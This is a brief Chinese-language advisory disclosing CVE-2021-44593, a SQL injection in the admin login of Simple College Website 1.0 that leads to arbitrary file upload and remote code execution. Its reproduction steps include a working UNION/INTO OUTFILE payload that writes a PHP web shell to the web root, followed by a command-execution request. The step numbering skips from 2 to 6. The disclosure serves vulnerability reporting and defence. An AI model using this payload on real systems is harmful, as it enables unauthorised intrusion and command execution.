CVE-2021-44593

CVE-2021-44593 的公开披露。Simple College Website 中存在 SQL 注入/任意文件上传/远程代码执行漏洞。

描述

Simple College Website 1.0 在 /admin/login.php 页面的 "username" 参数中存在未经验证的基于 UNION 的 SQL 注入漏洞，该漏洞可被利用来上传任意文件并获得远程代码执行能力。

受影响的组件

admin_class.php 中的 login() 函数

复现步骤

1. 访问管理员登录页面（通常为 /admin/login.php）
2. 提交登录表单，其中 POST 参数 "username" 包含以下基于 UNION 的 SQL 注入：

' union select null, null, ("<?php system($_GET['cmd']);?>"), null, null INTO OUTFILE '/var/www/html/testing.php'; -- -

6. 访问 /testing.php?cmd=id

备注

1. 需要知道 Web 服务器根目录的位置。
2. 如果文档根目录与 Web 服务器根目录不同，则可能还需要知道文档根目录的位置。
3. 此外，MySQL 守护进程需要对该目录具有写入权限。